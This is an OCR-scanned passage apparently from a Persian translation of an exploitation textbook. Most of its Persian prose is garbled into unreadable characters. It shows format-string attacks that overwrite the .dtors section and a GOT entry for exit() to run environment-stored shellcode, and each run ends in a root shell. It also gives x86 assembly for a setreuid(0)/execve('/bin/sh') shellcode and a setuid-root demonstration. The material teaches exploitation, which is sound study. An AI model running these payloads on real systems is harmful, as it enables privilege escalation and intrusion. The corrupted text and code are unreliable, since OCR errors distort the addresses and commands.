11 .text 00000130 080482b0 0804820 000002b0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .fini 0000001lc 080483e0 080483e0 000003e0 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .rodata 000000cO 08048400 08048400 00000400 2**5
CONTENTS, ALLOC, LOAD, READONLY, DATA
14 .data 0000000c 080494c0 080494c0O 000004cO 2**2
CONTENTS, ALLOC, LOAD, DATA
15 .eh frame 00000004 080494cc 080494cc 000004cc 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .dynamic 000000c8 080494d0 080494d0 000004d0 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .ctors 00000008 08049598 08049598 00000598 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .dtors 0000000c 080495a0 080495a0 000005a0 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .jcr 00000004 080495ac 080495ac 000005ac 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .got 0000001c 080495pb0 080495b0 0000050 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .bss 00000004 080495cc 080495cc 000005cc 2**2
ALLOC
22 .comment 00000060 00000000 00000000 000005cc 2**0

CONTENTS, READONLY

23 .debug aranges 00000058 00000000 00000000 00000630 2**3
CONTENTS, READONLY, DEBUGGING

24 .debug_info 000000b4 00000000 00000000 00000688 2**0
CONTENTS, READONLY, DEBUGGING
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25 .debug_abbrev 0000001c 00000000 00000000 0000073c 2**0
CONTENTS, READONLY, DEBUGGING

26 .debug line 000000£ff 00000000 00000000 00000758 2**0
CONTENTS, READONLY, DEBUGGING

$
GNU C).lg_La..olSL_ao)._.i';J_.n_L_?olSGlbg)iilng))L;éqoi|4S&»|w|.dt0rSd&éqd,:)ip'o.q,oi';&i

o= 03 e b Gl a3 iy p25 B 400 0T )3 (S kS e 35 Cao b (b LT a1 1 O o 03 puS (50 13
U9 A9 .ALOrs Jise S I b ju (Cadls Cao pi-did ) (§ 3y caw | S «5) Tt vuln 4ol o & )90
s (ol (592 B2ukS iy 25 (S 2S5 Canols b It vuln @b o )5 20U d 093) 28bL () 25l

23S sy 0 0bjdump g nm jlaslinwl U Olgs e |y

$ nm ./fmt vuln | grep DTOR
0804964c d _ DTOR END

08049648 d  DTOR LIST

$ objdump -s -j .dtors ./fmt vuln

./fmt vuln: file format elf32-1386

Contents of section .dtors:
8049648 ffffffff 000000OCO L .......
$

Fles  DTOR END 5 DTOR LIST e ahols )b ol 303 so 0L 3 5295 45 sb Olod

.))S I N ) diws U.al Odeump l.a ul,.v ° Syl 39>9 LQ,JT O w})T TD SR Wl wb
S L ol OXFFFEEFE jladio g9l 45 1) (w3 T jl 3y u o T S8 camnl (yaivgs JB .dtOr s 09z

4S) b5 3590 O g b oo s LT @ L2l 59, 4ol 905 Sl g SBST (ol (g ginl> lidl> 5T
Olod 45 35T 0 Cawss  DTOR_LIST o 5T 4 asly ¥ 03,5 46Lal jl Lo (cuml OX L 1o (55>
Cwds DTOR_END_ )3T 3,90 ol 53 .dtOrs Liso 0390 J> Juls 4 il 45) el 0x0804964¢

(221 =
3dlys (pSon L) Giwgs S U ol 0BT 3,8 s gisl 1) GwisT ol Olsir 9 8392 suid 100t 4ol o S|

D9
$ export SHELLCODE='cat shellcode'
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0Oxbffffd90
$ pcalc 0x90 + 4
148 0x94 0y10010100
$

BUiS] Ogz .3 )5 s it b 03T OlgF (50 Ugomo Gab 9 315 J18 humme puitio S )3 Olgs (0 1) 35— Jb
Szl pBags 13) el <ol 95 (Fmt_vuln) 3 cow 4l 0 9 (getenvaddr) Lual) 4ol o o 40l pb Jsb
30l Caopi-did ) (5 3 |l 03liiwl U b 5 salgs )18 OXIfFfd94 yw)sT s a5-Js fmt_vuln
o JLko g9mdg Sl Lxisl 5 g (0X0804964C w)sT 5 @lg) .dtors jase s 1) 20T Cawsy GwssT

313 plovl 4 piun Jsb 4 Olg5 50 L) oY Oluwlxe 4od Lol 33,5 20 sliwl laul test_val

$ pcalc 0x94 - 16
132 0x84 0y10000100
$ ./fmt _vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08""'%$3\$132x
$4\Sn
The right way:
%$35132x%4S%n
The wrong way:

3e8
[*] test val @ 0x08049570 = 148 0x00000094
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$ pcalc 0Oxfd - 0x94
105 0x69 Oy1101001
$ ./fmt vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08" '$3\$132x
$4\$n%3\
$105x%5\%n
The right way:
%$35$132x%45n%35$105x%5%n
The wrong way:

3e8

3e8
[*] test val @ 0x08049570 = 64916 0x0000£d94
$ pcalc Oxff - 0xfd

2 0x2 Oy1l0
$ pcalc Ox1ff - 0Oxfd
258 0x102 0y100000010

$ ./fmt vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08""'$3\$132x
$4\$n%3\

$105x%5\$n%3\5258x%6\$n

The right way:

%$35132x%45n%35$105x%55n%3$258x%6%n

The wrong way:

3e8
3e8
3e8

[*] test val @ 0x08049570 = 33553812 0x01fffdS4
$ pcalc Oxbf - Oxff

-64 OxffffffcO Oyl11111111111111111111111111000000
$ pcalc Oxlbf - Oxff

192 0xc0 0y11000000

$ ./fmt _vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08""'$3\$132x
%4\Sn%3\

$105x%5\5n%3\5258x%6\$n%3\$192x%7\3n

The right way:

%$35132x%45n%35105x%55n%35$258x%65n%35192x%75n

The wrong way:

3e8
3e8
3e8

3e8
[*] test val @ 0x08049570 = -1073742444 Oxbffffdo4
$

E 4S CansdlS L Lo . dtOrs s oo (test_val o sls 40) OXDIFfA94 Lw)sT iibes Cagz 0S|
5 0x0804964f 9 0x0804964¢ 0x0804964d 0x0804964C 4 1) o yd dids ) (51l )5 Canuss w31

ru.b)
$ ./fmt vuln 'printf
"\x4c\x96\x04\x08\x4d\x96\x04\x08\x4e\x96\x04\x08\x4f\x96\x04\x08""'$3\S$132x
$4\$n%3\
$105x%5\5n%3\5258x%6\5$n%3\$192x%7\Sn
The right way:
$3$132x%45n%3$105x%55n%35258x%65n%35192x%75n
The wrong way:

3e8
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3e8

3e8
3e8
[*] test val @ 0x08049570 = -72 Oxffffffb8
sh-2.05a# whoami
root
sh-2.05a#

Olg=ie 4 aS—- i w3l jeid Lol el 4ils 4035 0X00000000 g9y ws>TL (i 4 .dtors s 4 51
|)4&1)th%sSﬂLm4q3°;&tgb$b§4A%Hc})ﬁfGﬁb4goﬂxhgdyiunLQ)EDAKSEﬁ)iﬁeUgSi
35 salgs lae

(GOT) s090e CamdT Jgaz o ginl> P Q.Y

U9 Sy 2l 13 (23S o3kl oleds 5 STaibl GlubS Sy 3 39230 B Sy I 155 0 b S 09
39) o IS sgbiio (ul 4 a3l lelS 5l 4ol b )3 $0505 039 S 392 3893 Sute ilgT plod gyl sl
Sl s ol )13 pU PLT 4oVs ,5b 4 b (Procedure Linkage Table) 45/ visy Joaz >Waol <5
U SO Slsd 4 il 45 Oloj b Cal @B S juis Tl Blie S 45 Cawl (53b) GUMP) b g Slyginws

33,5 o Culad 49) Mg U9z 4 =l 3, (il (Sl
Jromol 33 1) (o - it ) (5 p23 caaw T s1)ls) fmt_vuln 4ol o )5 PLT i objdump 4ol o b 0lgs (50

3905 03l 1) b g Ol)giwd 95,5
$ objdump -d -j .plt ./fmt vuln

./fmt_vuln: file format elf32-1386
Disassembly of section .plt:

08048290 <.plt>:

8048290: ff 35 58 96 04 08 pushl 0x8049658

8048296: ff 25 5¢ 96 04 08 jmp *0x804965¢

804829c: 00 00 add %al, (%eax)

804829%e: 00 00 add %al, (%eax)

80482a0: ff 25 60 96 04 08 Jjmp *0x8049660

80482a6: 68 00 00 00 0O push $0x0

80482ab: e9 e0 ff ff ff jmp 8048290 < init+0x18>
80482b0: ff 25 64 96 04 08 Jjmp *0x8049664

80482bo6: 68 08 00 00 0O push S0x38

80482bb: e9 d0 ff ff ff jmp 8048290 < init+0x18>
80482c0: ff 25 68 96 04 08 Jjmp *0x8049668

80482co6: 68 10 00 00 0O push $0x10

80482cb: e9 c0 ff ff ff jmp 8048290 < init+0x18>
80482d0: ff 25 6¢c 96 04 08 Jjmp *0x804966¢C

80482d6: 68 18 00 00 0O push $0x18

80482db: e9 b0 ff ff ff jmp 8048290 < init+0x18>
$

oLST 6394 wb-b AS—d-w L £xit &vb ,_5[: L |)>| 9 45))5 ,_5)&.'.'..») L;),.b J) exit &ab 6').! o latwl d)90
.Pgsuauwu)gg)bggdﬂé}?hl)Plﬂﬁu&ig)bb-db>))DJJ)sAgﬁ1)4&¢)0m,#g$50b36a
$ objdump -h ./fmt vuln | grep -A 1 .plt

8 .rel.plt 00000020 08048258 08048258 00000258 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
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10 .plt 00000050 08048290 08048290 00000290 2%*2
CONTENTS, ALLOC, LOAD, READONLY, CODE
$

)18 (read-only) Saslss—baid cll> ) 49) 359w J9az Glawbie 3 o0 OLLS ;29,5 (| S Job Oloa
O S S mod s L w5 T 44 (Loniiina) o g Olygiws 45 33,5 g0 poloo b () oo b Lol 3l
ABdl> slga )3T )5 @loT plod (12515 OIS0 4S oy puS g0 domai oy 2SS (00 by S s T OT Sl zlo WS L/

’ 315 1,3 0x0804966¢ 5 0x08049668 0x08049664 .0x08049660
w5 ysb 4 b @lobal offset table) ,osac cuusT Jsaz pb 4 (5,503 8309 Yadu o> disl> sl G sT ol
F3lsS— i )90 4 U9z ol 45 Gl ol so90e CandT Jgaz b dhul) )3 oo 45 .35 05 50 13 GOT

:Ags(io4&9“@)i)Lf?1y$J)|)4E~u:0dLC;w|b)ﬁd‘sﬂiftlwnc

$ objdump -h ./fmt vuln | grep -A 1 .got

20 .got 00000020 08049654 08049654 00000654 2**2
CONTENTS, ALLOC, LOAD, DATA

$ objdump -d -j .got ./fmt vuln

./fmt_vuln: file format elf32-1386

Disassembly of section .got:

08049654 < GLOBAL OFFSET TABLE >:
8049654 : 78 95 04 08 00 00 00 00 00 00 00 00 a6 82 04 08

8049664: b6 82 04 08 c6 82 04 08 do6 82 04 08 00 00 00 0O

Sl 359y G 43> gy 359w 93z 43 JMP *0X08049660 i oy ssiws 45 383 o OLES Yy ;29,5
(sosos Camnd Jgaz 3 gily 0X08049660 yu,ysT )3 45 1)z cans (g0 pusis 0X080482a6 o ysT 4 1) 4ab
Jjmp ¢jmp *0x08049668 jmp *0x08049664) 323 o jms Ol giws ol 48,5 0x080482a6 130
09 35S 00 b 0X080482d6 5 0x080482¢6 0x080482b6 (sla w1 4 a5 4 (¥0x0804966¢
359) Ol 50 BT 3948 oamw 9ol Lguu )3T ol J1 (S USTI 315 3929 (0908 CamdT Jgaz J> piibgs OISl

3,8 S (0 3 g Ol pac o pule) ogoc Nigm U9z G2k jl Ly 4ol p (51,2
&2ls pU Juid Sl oY Ole Vbl objdump s sl sl p 28 (slay 2 lrole Gialod b 45 Canl pjV 4S5 ol S

.))9T [WPVWE ¥) u|,.a < )
$ objdump -R ./fmt vuln

./fmt_vuln: file format elf32-1386

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE
08049670 R 386 GLOB DAT __gmon_start
08049660 R 386 JUMP SLOT __libc_start main

08049664 R 386 JUMP SLOT printf
08049668 R 386 JUMP_SLOT exit
0804966c R 386 JUMP SLOT strcpy

$

Sl 230 &9'9 0x08049668 \J"))T )3 (s090E Caand T Joa= o exit &ub \J"))T a4 s> < olis YL @9)’

3) 35S (Glg1,0 1) 35— b b 79,5 51 gy 0L 0 oBST ol golr O ol 43 1) 38— yuisT 51
(cwl exit &L Olea 3S 0 OLS S



—aidy S p3g |l 9 puiS i Gl 15T (528ly OlSe @313 1B hummo puio Sy 3 1) 25— i Ugee Gub

)b buxe > wbwﬁ—&&;'m;)ﬁuﬂbéwl (U»J)Tuma,ub)ﬁm g (Sl o 8

Az pn Od JBT Glm ] Cao - slanl Cob 1§ Gabs 4 Lo Les &g RULDERE ™1 R X VR SIEY
S (50 D3l Y0X o b (s j2ol )b > Olwlxe jl Jlieo ol J> Ego 90 pinns

$ export SHELLCODE='cat shellcode'

$ ./getenvaddr SHELLCODE

SHELLCODE is located at Oxbffffd90
$ pcalc 0x90 + 4

148 0x94 0y10010100
$ pcalc 0x94 - 16

132 0x84 0y10000100
$ pcalc Oxfd - 0x94

105 0x69 0y1101001
$ pcalc 0x1ff - Oxfd

258 0x102 0y100000010
$ pcalc 0Ox1lbf - Oxff

192 OxcO 0y11000000

$ ./fmt vuln 'printf
"\x68\x96\x04\x08\x69\x96\x04\x08\x6a\x96\x04\x08\x6b\x96\x04\x08""'$3\$132x
$4\$n%3\

$105x%5\5n%3\3$258x%6\5n%3\5$192x%7\S$n

The right way:

%$35132x%45n%35105x%55n%35258x%65n%35192x%7%n

The wrong way:

3e8
3e8
3e8
3e8
[*] test val @ 0x08049570 = -72 Oxffffffb8
sh-2.05a# whoami
root
sh-2.05a#

42>l po 090t CamdT Ugaz )3 EXit @ GwisT 4 S o €Xit @b Sls31d u 2w fmt_vuln 4ol SS9
T |y i )3T o gm gl Gaob 3l 09z 398 (g0 Uit g3 T OT 4 49, dgm J93z Gasb jl 9 03
b alg3 sloyl diy ) diwgy S 13 (023, 927 bue 4> S-

Oled L 505 e S 13 el (500 03 0T MBI 090 Coli i sogoe ComdT Ugaz smginl> J505 Cujo
Cadls 32lgs Glass yw 3T 3 1) GOT o8 Olod o5 b

G o B Lo S G 03,5 CugkST slm b oleds (2 OVleiz algds sl s T gl Culils
= =S Culan 1) b szl 359, 45 2bU w5 T (Gol> 9 039 ibgs BB 45 |) il I s o IS Jeb

Sl )8 Gaa Ol

(W03 35— ik B, e

1S Sl (81 Uino G395 35— b Yl lo 0392 83k 2iiwd OT 35 3 p0 ST 4S sl ()l o 99 3S— b
sla ol jl 9 054 (self-contained) Igxmo— 395 39b 35— i 3,5 03k OT bl y> 2L 1) Slsld sla di>
Dl adl> 3929 35— b ) gay b S S35 (0 ) 0O OLL b i camw 45 112) 23S (509 g2
0L 3l B S5 aS-Jib dabd S yiidgs Sl -3 mS (0 B 3 ) slesl Olgie 4 15T strepy() Jio b
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= JU53 ) ool O 51X86 (s loo 3590 o2l 13 13 .Cannl s (OT (S lao) B2 835513 13 4 s po  Jrow!
— ol (b gi )d Gz 11 9 o OIS Lol (325 sod gund 95 Gaos Dygeo 4 1) X8O  Juowsl QLS (ol 4 )51 9 oS
S 00 3595 1) 2 S

I Olgs o .Antel) fiss] jlislo s AT&T LSl :5 )15 5329 X86 (s lows sl 0 Jool Byntax) jlislo g4 93
WSl 5,8 5L (J=i) Jlslw gl o) nasm 9 (AT&T sl sl 0) 84S o (oS gid )3 8308 Jaowsl 93
JL Olgie 4 .39 (o <8l gdb g objdump Jto Joswljos s 40l 10 5 @olg5 (29,5 3 Vgoro AT&T
AT&T Jlsli B )3 " gogoe CamndT Jgaz awmginla" Jidu 43 49y Ngn Ugaz Oxb Jrowl s o295
s 33kl NASM B 9 Joiiyl sl 5l 35— Jb oyaidgs (sl 13wl )5 cuoly Jagl sl 0xlgs Ll .5
S

Olso 51 Olg5 g0 1y b S Gl .3095T b 4 0235 ey WS oS | EBP 9 ESP EIP Jud jl 035513 3 sl LS
=1L abl) )3 EBP 5 ESP 9 EIP 02 Lol 3,8 Cguume (gaowl 0L 512 1 pasio Olgie 4 505 sla OLS
@eneral-purpose) » jgtico— 40 S pusio Olgic 0 LT 1 o5kl 13 (sd e 2l 359 o 30 9 40l 0
o=l i 5 camwlio Sguaiio ol (sl 0 EDI 9 ESI EDX (ECX EBX EAX sl LS s (5l ML IS8
N jiSzeS Olakd 4 Olgs go SS3 solol b Lol il g PF Lo 035515 13 45 1z caitiund i PV Lolos b LS
o 5 © EDX 3 ECX EBX EAX sla O3 s 1 5 Jslee Jlis Olgie 4 .C8l o piws ju b OS5 ol
L) 2V sbasd 4 ol oo 4ll) siima DL .CL BL AL w5 4 LT i A Uslee 9 DX 9 CX BX AX
G 1) JiSz55 sl O (W pz> @) AiKz55 st Sl 1 13 (39d o Cumy 132 45 CBL, guw piwd S5
Ll adio 9 o4 px> 05 9 SZeS SBIAS-Cub bgs )3 Joguas 4 o (pl 30 S

LA""""' 2> d,.o.v.o CJ'),.‘&.») R % I

B M g wNASM 250 S HliSle s O g
instruction <destination>, <source>

)....SL;ole.um»3)@)5<.vAS—d-wuLmDL»))Gl)ul),m)u.v')'b,.o.iu.am,v)))

o9 sl / pb (nstruction) _ssiw>
39 g0 03l gl Mo @abii5 (sl » (move) Jlsl ) giws
mov
X3S o0 Jie <dest> 4 <src> jl 1, ylsde | mov <dest>, <src>
39 (0 03wl o 3lio 035 o> sl 2 (add) ge=/ 0,5 GLal ygaws
add
XS g0 BLsl <dest> a1, <Src> ,lsde | add <dest>, <src>
39 50 )5 4 polie G5 sl e | (Substract) g a5/ 03,8 @S ygiws
sub
XS o0 S <dest> jl1, <src> ylsdo | sub <dest>, <src>
aalawl 4...»_: 29 )._{)Lﬁ.o o;b)l)b' 9 6)')30" 6').3
(PUSh) 6)|)§l> D9
ded g0 push
223 g0 I8 drdy > |, <target> y3 39290 polis | push <target>
397 50 )y didy jl poolie B3> 9 2L sl (Pop) bjb giuw>
i 1) (4 0 028 3)l9 Jlade o 3 T) Hlaike S pop
pop <target>
a3 0 )l )8 <target> 5 9 23,5 UL
39 0 o3kl Lasine O S 4 EIP s sl 4 (Jump) o, sgiuws jmp

vy




puee i) <address> ,» 990 U"))T 4 1, EIP )l

AR (0

Jjmp <address>

s otz @5 a9 Sy e 3 g

32 o Yl B i 3 1) CiS 4 o3 €S Sglis (Call) Gy 520>
(push) call
e 3B 1B i 3 1) 3wy ygiws o]
= s <address> ) 59->90 w314 L EIP | call <address>
a3
Alisl> jl dshd S 2Bl T Edb s gl S50 s T G35 )b gt
S (o0 dlitwl (Load Effective Address) lea
XS 0 5138 b <dest> ;5 1, <src> w31 | lea <dest>, <src>
39 (50 )G Gds 4 JiSw S Syl 51 (Interrupt) 448y ) gimw> int
in

a8 ° 6:'9.‘7')9 1, <value> S dloid (g 4289

int <value>
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= B 2B o0 G pilgi jl degome SU S gid 3515 3929 23515 4 )3 & (o> uows] D) giws a9l
asls Gystem call) ot ls5108 Olgie Camd U iz S 258 1zl Juowl 3 o)) 4 1) T Olgs
ot Lo (SlgS1 )8 jl ool Hhjled Cand SO .33 (0 US W g9 08 (interrupt) by 4ids jl ookl b 9 o3

8L aualgs /usr/include/asm/unistd.h b6 51,

$ head -n 80 /usr/include/asm/unistd.h

#ifndef ASM I386 UNISTD H
#define ASM I386 UNISTD H_

/*
* This file contains the system call numbers.
*/

#define NR exit 1

#define  NR fork 2

#define  NR read 3

#define NR write 4

#define  NR open 5

#define NR close 6

#define  NR waitpid 7

#define NR creat 8

#define NR link 9

#define  NR unlink 10

#define  NR execve 11

#define  NR chdir 12

#define NR time 13

#define  NR mknod 14

#define  NR chmod 15

#define  NR lchown 16

#define  NR break 17

#define NR oldstat 18

#define  NR lseek 19

#define  NR getpid 20

#define  NR mount 21

#define  NR umount 22

#define  NR setuid 23

vy



#define  NR getuid 24

#define NR stime 25
#define  NR ptrace 26
#define NR alarm 27
#define  NR oldfstat 28
#define  NR pause 29
#define NR utime 30
#define  NR stty 31
#define  NR gtty 32
#define  NR access 33
#define  NR nice 34
#define NR ftime 35
#define NR sync 36
#define _ NR kill 37
#define  NR rename 38
#define  NR mkdir 39
#define NR rmdir 40
#define  NR dup 41
#define NR pipe 42
#define NR times 43
#define  NR prof 44
#define  NR brk 45
#define  NR setgid 46
#define  NR getgid 47
#define  NR signal 48
#define  NR geteuid 49
#define  NR getegid 50
#define NR acct 51
#define  NR umount2 52
#define NR lock 53
#define NR ioctl 54
#define NR fecntl 55
#define  NR mpx 56
#define  NR setpgid 57
#define NR ulimit 58
#define NR oldolduname 59
#define  NR umask 60
#define = NR chroot 61
#define  NR ustat 62
#define  NR dup2 63
#define  NR getppid 64
#define  NR getpgrp 65
#define  NR setsid 66
#define  NR sigaction 67
#define  NR sgetmask 68
#define  NR ssetmask 69
#define  NR setreuid 70
#define  NR setregid 71
#define  NR sigsuspend 72
#define  NR sigpending 73

=23 35290 (et Sl (Sl9S1)3 S 9 S Ceomnd 3 038 Zoho (row] Olygiws I g31325 jl ooliswl b
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J=B s calio @b 13 (euiS Ol Giules i (59, 2 |, "Hello, world!" o )be 3L Hello World! 4L
O . eaS obiwl eXit() @bl 3L @b Jl 9,5 $lr guaw -l WItE() @b (Joe 2] plawil sl 2 unistd.h
eXit() 4 5,55 9 Write() 4 S 3l JB 0 ) ot Slo>10 95 9L Hello, World! 4.l & )90 (1!

23S s 1) Write() @b (sl jls 3090 b OlegS )T 3L Il

S man 2 write
WRITE (2) Linux Programmer's Manual WRITE (2)

NAME
write - write to a file descriptor
SYNOPSIS
#include <unistd.h>

ssize t write(int fd, const void *buf, size t count);

DESCRIPTION
write writes up to count bytes to the file referenced by
the file descriptor fd from the buffer starting at buf.
POSIX requires that a read() which can be proved to occur
after a write() has returned returns the new data. Note
that not all file systems are POSIX conforming.

$ man 2 exit
_EXIT(2) Linux Programmer's Manual _EXIT(2)

file ) Jol6 sSiciogi So 0LogS )T (sl 3T (oo p S st sLoialy jl G99 (29,5 13 4S Jgb OLod
Sl= 13l ) 332 5 1kl (29 )5 Ay d3ind QLS Jlado 2bL (g0 e sae SO &S Sl @escriptor
S 4 S )Lal S s 0legS T a3 415 1 L ol 1) 0LegS )T ol b Yl 5 doxivo s ply ol
51351 033 Ol i OlogS )T s T cawl 038 Ol Gl Lo LS 3590 42y S9l> 45 bl g0 S ASIS 8L
S92 3alys 5 SIS 3L OT

&L oms5 Jsbiie 4 EDX 9 ECX EBX EAX (sla ol 1 eislooml 13 sotmsmn (5ils31,8 o (515 0 plSin
Lo 4 0313 g3 (Sl G 398 (00 23l @ OT S OlogS )T Eabiss (uizrod 9 Slo>1d slp A 3590
(st H331p3 (slp —int 0x80) joguano <ify G j| (@b S5 Sla>1d Hobiio 4 b OLS ol jl soliiuw] g

(35 o510 QU plaS 4kl (yuass) Canwl Jls515 (510 3590 @ (5 0323 OLis EAX ld .39 (o 03l
g g0 83liwl OlogS )T (paogaw $lw EDX 5 (pa095 (51w ECX clogS )T oyadsl 51w EBX sl oL 5

)8 abisl> jl Sl ys Hello, world! acis) 3oL Jbae 5 (59, 0 "Hello, world!" o )be aigs sl gme
803l s aabd b ol J3 (Sl 15 2L 1) i) ol dBblo— (630 pumnd (ilgd I Caw)d (S0 Capr 3 05
p3lie Olygiws ol 315 padlgs 1,5 (text olon L) 35 (5 aabd 43 1) rowl Ciliseo Ol gt g .oad
4iBy upw 9 IS o ea B (S DS J3) b lho 9 b5 5,90 j b 4|, EDX 9 ECX EBX EAX
3,8 3algS Sl>d 1) (ot (SlgS )35

o Slg>1)d unistd.h J16 5 write() gl 45 1z (e )8 EAX @l s 1) F Llaide 30b O )pge0 ool @
s33-e So write() @ 0lesS )T gl 4592 3 )5 =0 JLS EBX Ol 13 1 Jlado e -l ez 0)leid
) oyl L s)lasbiwl (o9 55 Ay Olod 390 (2] 3 45) Cawl B8 )Sio g5 03id> QLS 45 3bL (g0 g

23) 4y ol Jgb 30U plail a5 )13 ECX O3 )5 1) 03l dnbd )5 39290 4ty uu))T 2L e (sl
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5 o3 13 EAX &L 3 1) 1l 3yl 130 sciunl Sy 0)lodh atunsms Sls518 €Xit() @ 097 oy -5 034
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hello.asm

section .data ; section declaration
msg db "Hello, world!" ; the string

section .text ; section declaration

global start ; Default entry point for ELF linking
_start:

; write() call

mov eax, 4 ; put 4 into eax, since write is syscall #4

mov ebx, 1 ; put stdout into ebx, since the proper fd is 1
mov ecx, msg ; put the address of the string into ecx

mov edx, 13 ; put 13 into edx, since our string is 13 bytes
int 0x80 ; Call the kernel to make the system call happen
; o exit () call

mov eax, 1l ; put 1 into eax, since exit is syscall #1

mov ebx, 0 ; put 0 into ebx

int 0x80 ; Call the kernel to make the system call happen

s dink) adsy guaw 9 83, (@ssemble) ol 35S p) Olgs o 1=l J1B (s 0L Wb 0 SG sdgs sl
395 25 > global _start ks 7 (ELF) fato g [xzl Jold & 900 4 (S sy 40l gy grazmeo 03 S (51

3,5 Sad 15T 3L ELF (5,b S O)g00 40 Jolb 038 ool 1 oy 392 b
$ nasm -f elf hello.asm i
$ 1d hello.o
$ ./a.out
Hello, world!
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adlys ol 1) (diwgy i) " oler dolip Sy 35— Jib 45 |y cammass 35— i 43 €Xit() @b Silss1d 4 (il
Il ol 53 13 il OT ils o85Sz 58 aS- b (2dg9 1> pge Db 09 Lol .38 salyss slnl ISt

S 0 M I o exit() &U d9>9
shell.asm
section .data ; section declaration
filepath db "/bin/shXAAAABBBB" ; the string
section .text ; section declaration

global start ; Default entry point for ELF linking
_start:

; setreuid(uid_t ruid, uid t euid)

mov eax, 70 ; put 70 into eax, since setreuid is syscall #70
mov ebx, 0 ; put 0 into ebx, to set real uid to root

mov ecx, O ; put 0 into ecx, to set effective uid to root

int 0x80 ; Call the kernel to make the system call happen

; execve (const char *filename, char *const argv [], char *const envpl[])
mov eax, 0 ; put 0 into eax

mov ebx, filepath ; put the address of the string into ebx

mov [ebx+7], al ; put the 0 from eax where the X is in the string

; (7 bytes offset from the beginning)
mov [ebx+8], ebx ; put the address of the string from ebx where the
; AAAA is in the string ( 8 bytes offset)
mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the
; BBBB is in the string ( 12 bytes offset)
mov eax, 11 ; Now put 11 into eax, since execve is syscall #11
lea ecx, [ebx+8] ; Load the address of where the AAAA was in the
; string into ecx
lea edx, [ebx+12] ; Load the address of where the BBBB is in the
; string into edx
int 0x80 ; Call the kernel to make the system call happen

il 4l (S5 Lo (sl m Cal oo 45 (5953 4 game alsl Cannl (LS Jlo I 5 o 3uz S35 S ol

PRSI )-.")- u') oD

mov [ebx+7], al ; put the 0 from eax where the X is in the string
; (7 bytes offset from the beginning)
mov [ebx+8], ebx ; put the address of the string from ebx where the

; AAAA is in the string ( 8 bytes offset)
mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the
; BBBB is in the string ( 12 bytes offset)

bV oglowy EBX joiiio )3 39290 (w713 1) fosio Jloiio 45 323 (g0 ygiwd S9aalS 4 [ebX+7] &)l
4 EAX (i PP) b P ols sl 0 AL (g A) (b ) O3l oslizwl aas 18 M (cwsT) 0T jl dols
S Jiiio 1T ol oulsl ks EAX &l )5 39290 Cub P solod JUiil sl 40 45 383 (50 Jgiwd puowsl
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135lo 9 g0 dbiz o
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/ bin/shXAA A A B B B B

o 03wl o PP JolS (sla cundT 5 b LS 1 45 gl ol b edislos (g0 Jor line G b 4 (5320 ygiwd 93
J;,f‘;a"BEHBB"g"Pu%AﬁU'Umﬂ,qbg%ﬁd»Ehg)IQ4kmw¢m.xyéuglbcﬁhduﬁl9*w4SAuS
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S 33alg5 il (ol 93 i T G 4S) i polio L "BBBB" cowd g i) (slal T
23 )18 12l SiU L sl a5 (o ygiws 93
Load the address of where the AAAA was in the
string into ecx

Load the address of where the BBBB is in the
string into edx

23 1) oo 40 by o (CanndT )3T G 9) g0 o1 S sizwd (LEA) sigo oy T s3SI ) gian> i)

lea ecx, [ebx+8]

lea edx, [ebx+12]
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Caound 3T 9 ECX Ol yo 1) aid) 3 "AAAA" Caomnd o531 LesT 3 90 ol 13 .3S (o0 (25 Saailo
4 S el sl execve() gL s p3T 0lesS)T 95 09z -3iS (o0 o8 EDX @l ) 1) 4xs, »> "BBBB"
231> 4S5 (g9l 45) K> o T 4 45 il 0T 2L OlosS )T iy 399 Jli Wiamme ol @ 13) aril LS )Ll
4S o) p505 oo T S 4 4S Ewl 5T 9l 0eSTECK Ol 390 cpl 43 .25 0Ll (ol 1les
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$ nasm -f elf shell.asm
$ 1d shell.o

$ ./a.out
sh-2.05a$ exit
exit

$ sudo chown root a.out
$ sudo chmod +s a.out

$ ./a.out

sh-2.05a#

b e i) 25 4 ol Slo 31 0938155 3l gi L) Canmnly (g0 457 (S1 gy 40l g S (50 45 Jgb Olon
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Olgs (50 BT S )13 did) S (530 9w sl @ call Jgiws jl a S| Jl> .ab salgs Jlos call )giws
Lyl LS 4 i o gz OT Jjl sl sl 4 9 (POD) 3,5 LLJL 1) ey 43 o2 2313 15 kS 4y s T

oS 23lwl 42y 031> gl )l sl e O Sl eilys s
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jmp two

one:

pop ebx

<program code here>
two:

call one

db 'this is a string'

23 4S) cuinS o pwosl call Hgimws Gzl jl Jud 031338 g0 Lo p WOz w 40 Sl 40 9 40b I3l
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83 g0 bl gole &g 4 1) 1zl 359, 4l OT 1 Gy 9 385 50

Qs (g NS (50 2 Ml Ay )T (38,5 g call/jmp da> j «s " stripped-down) 4 o 3S- i

Wl ) @
shellcode.asm
BITS 32
; setreuid(uid t ruid, uid t euid)
mov eax, 70 ; put 70 into eax, since setreuid is syscall #70
mov ebx, 0 ; put 0 into ebx, to set real uid to root
mov ecx, O ; put 0 into ecx, to set effective uid to root
int 0x80 ; Call the kernel to make the system call happen
jmp short two ; Jump down to the bottom for the call trick
one:
pop ebx ; pop the "return address" from the stack
; to put the address of the string into ebx
; execve (const char *filename, char *const argv [], char *const envpl[])
mov eax, 0 ; put 0 into eax
mov [ebx+7], al ; put the 0 from eax where the X is in the string
; (7 bytes offset from the beginning)
mov [ebx+8], ebx ; put the address of the string from ebx where the
; AAAA is in the string ( 8 bytes offset)
mov [ebx+12], eax ; put a NULL address (4 bytes of 0) where the
